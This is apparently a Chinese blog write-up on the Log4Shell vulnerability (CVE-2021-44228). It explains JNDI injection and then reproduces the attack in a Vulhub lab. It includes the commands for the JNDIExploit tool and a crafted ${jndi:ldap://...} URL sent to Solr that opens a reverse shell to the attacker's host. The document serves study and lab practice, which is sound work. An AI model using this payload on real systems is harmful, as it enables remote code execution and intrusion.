log4j-CVE-2021-44228
0x01 漏洞概述
log4j简介
log4j是Apache软件基金会的一个开源Java日志框架,它提供了丰富可扩展的日志记录与输出功能,可以输出日志到任意位置、更改日志内容样式、指定日志级别并分级别显示,以及利用${}语句输出动态内容。因为log4j的易用性,众多以Java作为后端服务语言的网络应用、软件都在使用log4j来记录日志。
CVE-2021-44228
CVE-2021-44228是阿里云团队在2021年11月26日提交、同年12月9日公开的关于log4j的重大漏洞。它可以实现RCE(远程代码执行),从而危害使用log4j来记录日志的Java服务器安全。CVSS3.0评分10.0分、评级critical。该漏洞由JNDI特性引起,其并没有保护通过LDAP等查找JNDI的方式,造成潜在的RCE。
0x02 漏洞原理
JNDI简介
JNDI(Java命令和目录接口)是用于从Java应用中访问名称和目录服务的一组API,简单来说就是将名称/目录与对象相关联,并提供了通过名称/目录来查找对象的方法。JNDI支持的服务有RMI、LDAP、DNS等服务。JNDI封装了这些服务,使得可以通过类似的代码访问这些服务(调用容器环境的Context的lookup方法)。
RMI简介
RMI(远程方法调用)服务提供了一个从JVM中对象调用另一个JVM对象方法的方式。也是RPC(远程过程调用)的面向对象等价服务。它需要一个Server端提供RMI服务和一个Client端访问远程提供的RMI服务。
Server端开启RMI服务时先创建远程对象,然后向registry注册远程对象,等待调用。Client端进行RMI时访问registry得到远程对象的存根,再通过存根远程调用方法,存根序列化调用后与骨架通信使骨架代理调用方法并将结果返回给存根再反序列化交给客户端。
LDAP简介
LDAP(轻型目录访问协议)是一个开放的、中立的、工业标准的应用协议,通过TCP/IP协议提供访问控制和维护分布式信息的目录服务,可通过LDAP协议来访问网络资源,可以看成一个树形的数据库。
JNDI注入原理
JNDI封装了一些服务,并且通过lookup来访问服务,例如通过lookup("rmi://ip:port/...")的形式访问ip:port提供的RMI服务,通过lookup("ldap://ip:port/...")的形式访问LDAP服务。
JNDI的目的是通过名称/目录获取对象,而远程读取的一般是编译后的.class文件,所以在lookup时会进行类加载,JVM将其加载为Java类。而当ClassLoader加载.class文件的时候会调用类的clinit方法,执行类的静态代码。因此如果可以控制JNDI lookup的URL,便可以任意加载远程类,执行恶意代码,这也就是JNDI注入原理。
CVE-2021-44228漏洞原理
CVE-2021-44228即是通过log4j来实现了JNDI注入。log4j可以通过\({}语法来获取动态内容并输出到日志中,其中对于每个\){}部分使用lookup方法来解决变量,其中也提供了JndiLookup,也就是说可以使用JNDI来读取内容,形如\({jndi:...}。这时就存在JNDI注入。大部分使用log4j来记录日志的网络应用都会记录用户的输入,比如搜索网站会记录用户搜索的内容,这时如果用户输入的是\){jndi:...}就会进行JndiLookup,实现JNDI注入,也就是CVE-2021-44228这个漏洞的原理。
0x03 漏洞工具
JNDIExploit
JNDIExploit通常指一类利用Java的JNDI功能来实现远程/本地代码执行数据泄露的工具或PoC。其核心思想是利用JNDI在解析远程名字引用时可能触发的远程类加载或回调行为,从而诱导目标JVM加载由攻击者控制的类或触发可控的远程通信。
关键条件:目标必须执行JNDI lookup,并且没有对传入URI做限制。目标环境(JVM版本与配置、可用类库)决定利用链是否可行:有些JVM版本禁止远程class loading或启用了jdk.serialFilter等防护;即使能触发lookup,目标classpath也需包含可触发的gadget才能实现RCE。
0x04 漏洞复现
1. 环境说明
| 角色 | 系统 |
|---|---|
| 攻击机 | Kali Linux |
| 靶机 | Ubuntu 22.04 |
| 靶场 | Vulhub 1Panel CVE-2021-44228 |
| 容器平台 | Docker + Docker Compose |
| Java | 1.8.0_202 |
2. 拉取漏洞环境
# 进入log4j目录,确认目录内存在 docker-compose.yml
cd ~/vulhub/log4j/CVE-2021-44228
# 启动 log4j 靶场
docker compose up -d
# 查看镜像端口
docker ps
查看镜像端口为8983后,在浏览器访问IP:8983

3. 下载并使用JNDIExploit工具
下载命令:git clone https://github.com/black9/Log4shell_JNDIExploit.git

确认JAVA版本:

执行:java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机IP

新开终端监听任意未被占用端口用于接收shell:

构造反弹命令:http://192.168.137.137:8983/solr/admin/cores? action=${jndi:ldap://192.168.137.149:1389/Basic/ReverseShell/192.168.137.149/7777}
此时监听的7777端口成功拿到shell:


浙公网安备 33010602011771号